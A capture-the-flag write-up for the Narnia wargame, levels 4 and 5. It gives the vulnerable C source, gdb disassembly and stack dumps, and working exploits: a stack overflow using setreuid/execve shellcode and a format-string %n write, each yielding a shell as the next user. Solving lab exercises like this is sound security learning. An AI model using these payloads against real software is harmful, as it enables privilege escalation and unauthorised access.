Level 4
If the below doesn’t make sense, please see level 2. It’s essentially the same approach.
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
Nothing too fancy - the binary is setting all environment variables to null
. This doesn’t bother us much and our exploit will be identical to that of level 2.
narnia4@narnia:/narnia$ gdb -q ./narnia4
Reading symbols from ./narnia4...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080484ad <+0>: push ebp
0x080484ae <+1>: mov ebp,esp
0x080484b0 <+3>: and esp,0xfffffff0
0x080484b3 <+6>: sub esp,0x120
0x080484b9 <+12>: mov DWORD PTR [esp+0x11c],0x0
0x080484c4 <+23>: jmp 0x8048511 <main+100>
0x080484c6 <+25>: mov eax,ds:0x80497e0
0x080484cb <+30>: mov edx,DWORD PTR [esp+0x11c]
0x080484d2 <+37>: shl edx,0x2
0x080484d5 <+40>: add eax,edx
0x080484d7 <+42>: mov eax,DWORD PTR [eax]
0x080484d9 <+44>: mov DWORD PTR [esp],eax
0x080484dc <+47>: call 0x8048380 <strlen@plt>
0x080484e1 <+52>: mov edx,DWORD PTR ds:0x80497e0
0x080484e7 <+58>: mov ecx,DWORD PTR [esp+0x11c]
0x080484ee <+65>: shl ecx,0x2
0x080484f1 <+68>: add edx,ecx
0x080484f3 <+70>: mov edx,DWORD PTR [edx]
0x080484f5 <+72>: mov DWORD PTR [esp+0x8],eax
0x080484f9 <+76>: mov DWORD PTR [esp+0x4],0x0
0x08048501 <+84>: mov DWORD PTR [esp],edx
0x08048504 <+87>: call 0x80483a0 <memset@plt>
0x08048509 <+92>: add DWORD PTR [esp+0x11c],0x1
0x08048511 <+100>: mov eax,ds:0x80497e0
0x08048516 <+105>: mov edx,DWORD PTR [esp+0x11c]
0x0804851d <+112>: shl edx,0x2
0x08048520 <+115>: add eax,edx
0x08048522 <+117>: mov eax,DWORD PTR [eax]
0x08048524 <+119>: test eax,eax
0x08048526 <+121>: jne 0x80484c6 <main+25>
0x08048528 <+123>: cmp DWORD PTR [ebp+0x8],0x1
0x0804852c <+127>: jle 0x8048546 <main+153>
0x0804852e <+129>: mov eax,DWORD PTR [ebp+0xc]
0x08048531 <+132>: add eax,0x4
0x08048534 <+135>: mov eax,DWORD PTR [eax]
0x08048536 <+137>: mov DWORD PTR [esp+0x4],eax
0x0804853a <+141>: lea eax,[esp+0x1c]
0x0804853e <+145>: mov DWORD PTR [esp],eax
0x08048541 <+148>: call 0x8048360 <strcpy@plt>
0x08048546 <+153>: mov eax,0x0
0x0804854b <+158>: leave
0x0804854c <+159>: ret
End of assembler dump.
(gdb) break *0x080484c4
Breakpoint 1 at 0x80484c4
(gdb) r $(python -c 'print "D"*255')
Starting program: /narnia/narnia4 $(python -c 'print "D"*255')
Breakpoint 1, 0x080484c4 in main ()
(gdb) i r ebp
ebp 0xffffd628 0xffffd628
(gdb) x/80wx $esp
0xffffd500: 0xf7e2ec34 0xf7ff0d16 0xf7ffd000 0xf7fdf4b2
0xffffd510: 0xf7ffd55c 0xf7ffdaf0 0x00000000 0x00000000
0xffffd520: 0x00000000 0x00000000 0x00000001 0x000008d6
0xffffd530: 0xf7fcf2e8 0xf7fcf000 0x0804828b 0xf7e2f474
0xffffd540: 0x080481fc 0x00000001 0x00000000 0x00000000
0xffffd550: 0x00000000 0xf7ffd000 0xffffd664 0xf7ffdaf0
0xffffd560: 0xffffd620 0xf7fe577a 0xffffd5d0 0x080481fc
0xffffd570: 0xffffd5d8 0xf7ffda94 0x00000000 0xf7fcf2e8
0xffffd580: 0x00000001 0x00000000 0x00000001 0xf7ffd938
0xffffd590: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd5a0: 0x0000002c 0x00000006 0x002c307d 0x00000000
0xffffd5b0: 0xffffd664 0xffffd5d8 0xffffd5d0 0x0804828b
0xffffd5c0: 0xf7ffd938 0x00000000 0x000000bf 0xf7eb7fe6
0xffffd5d0: 0xffffffff 0xffffd5fe 0xf7e2ec34 0xf7e54fe3
0xffffd5e0: 0x00000000 0x002c307d 0x00000001 0x08048335
0xffffd5f0: 0xffffd7ed 0x0000002f 0x080497b4 0x080485a2
0xffffd600: 0x00000002 0xffffd6c4 0xffffd6d0 0xf7e5519d
0xffffd610: 0xf7fcb3c4 0xf7ffd000 0x0804855b 0x00000000
0xffffd620: 0x08048550 0x00000000 0x00000000 0xf7e3bad3
0xffffd630: 0x00000002 0xffffd6c4 0xffffd6d0 0xf7feacca
(gdb) x/bx 0xf7e3bad3
0xf7e3bad3 <__libc_start_main+243>: 0x89
(gdb) break *0x08048541
Breakpoint 2 at 0x8048541
(gdb) c
Continuing.
Breakpoint 2, 0x08048541 in main ()
(gdb) ni
0x08048546 in main ()
(gdb) x/80wx $esp
0xffffd500: 0xffffd51c 0xffffd7fd 0x00000021 0xf7fdf4b2
0xffffd510: 0xf7ffd55c 0xf7ffdaf0 0x00000000 0x44444444
0xffffd520: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd530: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd540: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd550: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd560: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd570: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd580: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd590: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd5a0: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd5b0: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd5c0: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd5d0: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd5e0: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd5f0: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd600: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd610: 0x44444444 0x44444444 0x00444444 0x00000015
0xffffd620: 0x08048550 0x00000000 0x00000000 0xf7e3bad3
0xffffd630: 0x00000002 0xffffd6c4 0xffffd6d0 0xf7feacca
(gdb) p 0xffffd628-0xffffd518
$1 = 272
We need to overwrite 272 bytes before reaching the caller’s return address.
narnia4@narnia:/narnia$ gdb -q ./narnia4
Reading symbols from ./narnia4...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080484ad <+0>: push ebp
0x080484ae <+1>: mov ebp,esp
0x080484b0 <+3>: and esp,0xfffffff0
0x080484b3 <+6>: sub esp,0x120
0x080484b9 <+12>: mov DWORD PTR [esp+0x11c],0x0
0x080484c4 <+23>: jmp 0x8048511 <main+100>
0x080484c6 <+25>: mov eax,ds:0x80497e0
0x080484cb <+30>: mov edx,DWORD PTR [esp+0x11c]
0x080484d2 <+37>: shl edx,0x2
0x080484d5 <+40>: add eax,edx
0x080484d7 <+42>: mov eax,DWORD PTR [eax]
0x080484d9 <+44>: mov DWORD PTR [esp],eax
0x080484dc <+47>: call 0x8048380 <strlen@plt>
0x080484e1 <+52>: mov edx,DWORD PTR ds:0x80497e0
0x080484e7 <+58>: mov ecx,DWORD PTR [esp+0x11c]
0x080484ee <+65>: shl ecx,0x2
0x080484f1 <+68>: add edx,ecx
0x080484f3 <+70>: mov edx,DWORD PTR [edx]
0x080484f5 <+72>: mov DWORD PTR [esp+0x8],eax
0x080484f9 <+76>: mov DWORD PTR [esp+0x4],0x0
0x08048501 <+84>: mov DWORD PTR [esp],edx
0x08048504 <+87>: call 0x80483a0 <memset@plt>
0x08048509 <+92>: add DWORD PTR [esp+0x11c],0x1
0x08048511 <+100>: mov eax,ds:0x80497e0
0x08048516 <+105>: mov edx,DWORD PTR [esp+0x11c]
0x0804851d <+112>: shl edx,0x2
0x08048520 <+115>: add eax,edx
0x08048522 <+117>: mov eax,DWORD PTR [eax]
0x08048524 <+119>: test eax,eax
0x08048526 <+121>: jne 0x80484c6 <main+25>
0x08048528 <+123>: cmp DWORD PTR [ebp+0x8],0x1
0x0804852c <+127>: jle 0x8048546 <main+153>
0x0804852e <+129>: mov eax,DWORD PTR [ebp+0xc]
0x08048531 <+132>: add eax,0x4
0x08048534 <+135>: mov eax,DWORD PTR [eax]
0x08048536 <+137>: mov DWORD PTR [esp+0x4],eax
0x0804853a <+141>: lea eax,[esp+0x1c]
0x0804853e <+145>: mov DWORD PTR [esp],eax
0x08048541 <+148>: call 0x8048360 <strcpy@plt>
0x08048546 <+153>: mov eax,0x0
0x0804854b <+158>: leave
0x0804854c <+159>: ret
End of assembler dump.
(gdb) break *0x08048546
Breakpoint 1 at 0x8048546
(gdb) r $(python -c 'print "\x90"*128 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(272-128-35) + "\x10\xd5\xff\xff"')
Starting program: /narnia/narnia4 $(python -c 'print "\x90"*128 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(272-128-35) + "\x10\xd5\xff\xff"')
Breakpoint 1, 0x08048546 in main ()
(gdb) x/80wx $esp
0xffffd4f0: 0xffffd50c 0xffffd7e8 0x00000021 0xf7fdf4b2
0xffffd500: 0xf7ffd55c 0xf7ffdaf0 0x00000000 0x90909090
0xffffd510: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd520: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd530: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd540: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd550: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd560: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd570: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd580: 0x90909090 0x90909090 0x90909090 0xdb31c031
0xffffd590: 0xb099c931 0x6a80cda4 0x6851580b 0x68732f2f
0xffffd5a0: 0x69622f68 0x51e3896e 0x8953e289 0x4180cde1
0xffffd5b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd600: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd610: 0x41414141 0x41414141 0x41414141 0xffffd510
0xffffd620: 0x00000000 0xffffd6b4 0xffffd6c0 0xf7feacca
(gdb) c
Continuing.
process 75 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x8048546
Done. Let’s try out outside of gdb
.
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "\x90"*128 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(272-128-35) + "\x50\xd5\xff\xff"')
$ whoami
narnia5
$ cat /etc/narnia_pass/narnia5
*** password ***
Level 5
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
This isn’t the standard buffer overflow we’re used to. We have to, somehow, change the value of i
to be equal to 500. The code is using snprintf
(writing to a sized buffer) so there won’t be any overflow here. We do however have a trick (two actually) up our sleeve.
The first one is how printf
’s signature is defined. It takes a format string along with a series of arguments. How does it know how many arguments it needs? It looks at the string. If you have say %s %s
, it will look for 2 arguments on the stack.
If those arguments aren’t present however, it will interpret whatever is already there. This means we can start reading values off the stack. If we go far enough we’ll read our own arguments. This enables us to read a user-defined address.
The second trick is to use the %n
modifier which writes the number of bytes to a given address. Let’s see this in action:
narnia5@narnia:/narnia$ ./narnia5 "DDDD.%x.%x.%x.%x.%x"
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [DDDD.f7eb7fe6.ffffffff.ffffd6fe.f7e2ec34.44444444] (49)
i = 1 (0xffffd71c)
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "DDDD.%5$x"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [DDDD.44444444] (13)
i = 1 (0xffffd72c)
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff.%5$n"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [,▒.] (5)
i = 5 (0xffffd72c)
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x1c\xd7\xff\xff.%40x%5$n"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [▒. f7eb7fe6] (45)
i = 45 (0xffffd71c)
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x1c\xd7\xff\xff.%400x%5$n"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [▒. ] (63)
i = 405 (0xffffd71c)
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x1c\xd7\xff\xff.%495x%5$n"')
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
*** password ***